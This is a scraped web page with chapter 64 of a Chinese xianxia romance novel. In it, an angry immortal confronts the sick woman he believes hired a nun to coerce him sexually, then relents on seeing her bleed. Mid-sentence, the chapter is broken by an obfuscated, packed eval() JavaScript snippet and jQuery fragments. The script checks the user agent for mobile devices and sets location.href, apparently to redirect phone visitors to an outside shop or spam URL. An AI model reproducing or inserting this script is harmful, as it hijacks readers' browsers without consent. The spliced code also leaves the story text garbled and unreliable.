64. 说不定我就娶你了
作品:《我与仙君相识于微时》 夜已经很深了,可花祝年房间的烛火还亮着。
囡吉趴在桌上痛哭,花祝年在一旁哄她。
门被人突然从外面推开,衡羿气冲冲地闯了进来。
花祝年斥责他道:“我一个老太婆,是不在乎什么的。可囡吉还在这里,你爹妈在家是没教过你规矩吗?已经这么晚了,进屋前不知道要敲门?你不知道尊重人的?”
她知道宋礼遇随手将囡吉给了他,可是,并不想囡吉被这后生如此随意对待。
哪能随意闯人闺房呢?
衡羿气得发笑,他走到她面前,震怒道:“你也知道尊重人?你什么时候尊重过我?你拿我当什么?”
花祝年愣怔了片刻后,一头雾水地说道:“我拿你当儿子看啊。”
她不这样说,他还没这么气。
此刻,就跟内心的想法得到证实了一样。
方才,那位闯入他房间的坤道说,是他娘给了钱,她才来对他做这种事的。
不然,她是不会来的。
衡羿本来还不怎么相信,可是花祝年有过让鲁绒绒强他的前科,这么看,也不是没可能。
所以,才怒气冲冲地过来问询。
没想到啊,没想到,她还真是拿他当儿子看。
衡羿上前一把将囡吉推开,把花祝年抱了起来。
本想重重地将她扔到床上,可是又想到她身体不好,只能做了个摔的姿势,最后还是很轻地抱放到床上。
囡吉瞬间急了眼:“你这是做什么?夫人都已经是老爷的人了,你也敢在这里造次?”
说着就要去拉拽他,却被他再次推去了地上。
摔得不轻,发髻都乱了。
花祝年抬手给了衡羿一巴掌:“你大晚上的,又在发什么疯?”
“我发疯?就算我发疯,也是被你逼疯的!”
她躺在床上,斥责道:“滚出去。”
“我为什么要滚?你不是致力于给我安排女人吗?”
花祝年并不知道衡羿刚刚遭遇了什么,她以为,他还是在说之前绒绒的事。
那件事,她是不心虚的。
“我说过,我有自己的理由。你理解也好,不理解也罢,我不在乎你的想法。”
她管他理不理解,绒绒嫁个好人家才是正解。
不过,此时,她倒也注意到,他身上的伤口了。
“你这是,怎么弄的?衣服怎么还破了?”
衡羿气道:“你不知道吗?这不是你想看到的吗?你不喜欢吗?”
花祝年皱着眉头,看着他这一身的凌乱,诚恳说道:“不太喜欢,太不雅了。”
“你还管什么雅不雅的?你都找人强上我了,还在乎这些吗?”
花祝年不太喜欢他这么翻旧账,不过她确实做过这种事,因此倒也没怎么反驳他。
只是坦诚地说道:“这不是你问我的意见么?我还不能说了?”
“能,你有什么不能的?这天下间的事,有什么是你想做没做到的呢?你不一直都是这样吗?不做到的事,就不罢休。”
花祝年轻喃道:“这倒是。”
她本就是这样的人,也不害怕指责。
固执怎么了?
痴愚的人,心力往往比其他人要强大许多的。
衡羿气得抓住她的手,就开始往自己身上摸:“干嘛找别人上我呢?你自己上多好?这么好的家世,留给别人做什么?你现在上了我,说不定我就娶你了,让你也做一次我的夫人。”
花祝年觉得他真是莫名其妙!
当初她让绒绒强迫他的事,都过去多久了,怎么还这么不依不饶的?
再者说,就算他心里有气,干嘛不早点发?
在路上揍她一顿也好啊,偏偏憋了这么久,才对她说这些嘲讽的话。
她猛地甩了他一巴掌,没理也要搅三分:“我是让人强迫过你,你要告官就去告,别在我这里发癫。要是不准备告官,就滚出去!我要休息了。”
衡羿将她水肿的手腕,摁放在枕头上,止不住地冷笑道:“你把我弄醒了,你自己倒想睡了。我告诉你,今天你要是不上我,就别想睡。”
囡吉震惊地看着衡羿,她知道他一直喜欢夫人,可是没想到居然会用这种无理取闹的方式,来得到夫人。
太缺德了。
她坐在地上骂道:“你真是有病。谁不让你睡觉,你去找谁啊。缠着夫人做什么?”
花祝年也懵了。
她都不知道,已经过去那么久的事情,他到底哪儿来这么大气性。
怎么还非要让她上他?
衡羿的泪水啪嗒啪嗒地掉落在花祝年的脸上。
“你知不知道,这里都是修道之人?”
花祝年点了点头:“我知道啊。我还捐了银子,希望能帮助到她们。”
她现在的身体已经很虚弱了,眼睛累得快要睁不开了。
“你那是捐银子吗?你是逼迫出家人来卖!你到底安得什么心?还是说,你又要救哪个姑娘出苦海,硬要把人家安排给我?我对你来说,到底是什么?只是一个工具人吗?”
越到后面,他的声音,她已经渐渐地听不清楚了。
花祝年终于疲惫地闭上了眼睛:“随便你怎么说,我要睡觉了。”
衡羿摸向她的脸:“不许睡。”
可是下一秒,就摸到了从她耳朵里,渗出来的血迹。
囡吉之前就是在为这个而哭。
她们晚上睡着睡着觉,夫人突然感觉到了什么,起身点着烛火来擦拭,生怕弄脏了道观的床铺。
夫人现在不仅流鼻血,连耳孔里都开始流血了。
她听人说,得了重病的老年人,等七窍都开始流血的时候,就是快走了。
因为身体里面的气不足了,没办法再推动血流去合适的地方。
囡吉不想花祝年走,她一看到她流血,就特别害怕。
衡羿看着自己手上的血迹,气也消了大半。
他踌躇着从床上下来,没走几步,可能是心绪不宁的缘故,就摔到在地上。
花祝年不知道是病晕过去了,还是睡过去了。
呼吸渐渐地变得均匀。
囡吉去到床边,一边哭,一边替花祝年擦拭渗出来的血迹。
衡羿从地上爬起来,做足了心理准备,才敢回过头,去看他的小信徒。
现在,他已经完全不生气了。
就是她找个女子,让对方现场强迫他给她看,他或许也会答应,只要她能活下来。
明知道她病得这样重,就不能迁就一下吗?
他也是,刚刚为什么要对她发脾气?还说了那么重的话来讽刺她。
她本就是很痴愚的人,他跟她叫什么劲呢?好好教她道理就是了,不该对她那样粗鲁的。
没有人能理解衡羿现在的心情。生气、懊悔、自责……种种情绪纠缠在了一起,变成了沉闷而压抑的痛苦。
囡吉擦拭完后,才对衡羿说道:“你现在,知道这里是什么地方了吧。”
衡羿仍旧不太清楚,他以为抚风是被小信徒强迫的。
类似于,用钱逼人家做事。就像当初逼迫鲁绒绒上他一样。
刚刚,抚风也是这样对他说的。
她说她根本不想做,可是他娘给了钱。
非要她来做。
说完,就又羞又气地出去了。
衡羿并不理解小信徒这次又是为什么,非要让一个修道之人强迫他。
可他知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465665|132764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道,她的脑回路一向很奇怪。
想的都是常人难以理解的事。
囡吉见他一脸纠结的样子,忽地踹了他一脚:“你是不是失心疯了?夫人怎么可能找人去强迫你?别人说什么,你就信什么?”
衡羿叹气道:“你不知道,她之前就找人做过。我是经历过几次的。”
因为小信徒有过这个前科,所以,他这次很难不相信抚风的话。
囡吉忽地冷笑一声:“说你是乡下来的土包子,看来还真是。你真是比不上我家老爷,不仅比不上老爷,连我也比不上,我是跟着老爷见过世面的。”
衡羿觉得她叽叽喳喳地很烦:“你要是没别的事儿了,就去我的屋子里睡。我在这儿守着她。”
囡吉一副护主的样子:“我哪敢让你守着夫人?你又没安什么好心,刚刚还佯装生气,引诱夫人上你。”
“我没有佯装生气,我是真的生气!”
至于,引诱小信徒上他,他是不认的。不过是气话,哪有引诱她。就算引诱,她对他也没兴趣。
囡吉扶着床,在地上坐了下来:“反正我不走,要走你走。”
衡羿不再理她,也坐下来守着自己的小信徒。
囡吉忍不住说道:“不是,你就真没觉得,这里跟别的道观有什么不同吗?”
衡羿回想了一下,并没有觉得有什么异常。
除了那个被小信徒安排的坤道。
囡吉叹气道:“刚刚,我们进来的时候,那位坤道是看见后面车队的标识,认出那是老爷家里的,才让我们进的。若是寻常人,根本进不来。这里是按等级才放人进来的。”
衡羿生气道:“你在胡说什么?自己没有修过道,就不要随意诋毁。人家都已经不理俗世了,就不要再以你狭隘的眼光来看人。”
囡吉突然就给气笑了:“哈哈哈哈,我是没修过道,但我伺候过人。我知道势利眼往哪儿看。”
“她们是修道之人,已经断绝了七情六欲,不可能像你说的那样。这次,若不是被逼迫,也断然干不出这种事。”
囡吉靠着床边,凉凉地对衡羿嘲弄道:“说得跟你修过道一样。”
“我——”
她扭头看向他:“你什么?”
“没什么。”
他最初,是上衡仙君在人世的深山修道时,所遇到的一只鹤。
上衡跟他,一人一鹤,是道友。
后来,他渐渐地修成了人形,上衡每次投生为人后,都会来找他一起修道。之后,他们又一级一级地修了几千年,才共同得到成仙的。
在执掌三界之前,衡羿已经当了许久的神仙了。
只不过,那时候执掌三界的,还是上衡。当时神界的环境,比现在要混乱许多。
后来,上衡一夜坠魔,他才成了继任者。
每隔一段时间,都要下去历个百千万劫,才能回归神位。
查漏补缺人间的规则,并交付到天道那里。
世事总是在不断地流转,人心不会一成不变,规则自然也要按世情来更改。
通过不断地修正上古时期,天道所留下来的陈规,来维持三界的运转。
修道这方面,他最懂了。
如果不是为了隐瞒身份,他可能会跟她讲上三天三夜。
花祝年只不过是他最为痴愚的小信徒,可是道观的修道者,却是最为纯正的信徒。
衡羿自然还是更护着后者一些。
这也是他一听抚风的话,就过来找花祝年的原因。
他直觉问题出在她这里。
她并非修道之人,又不尊重这世间的规则,凡事只按照她自己的想法来。
就算还没有查明情况,他也觉得,今晚的事必定是她的错。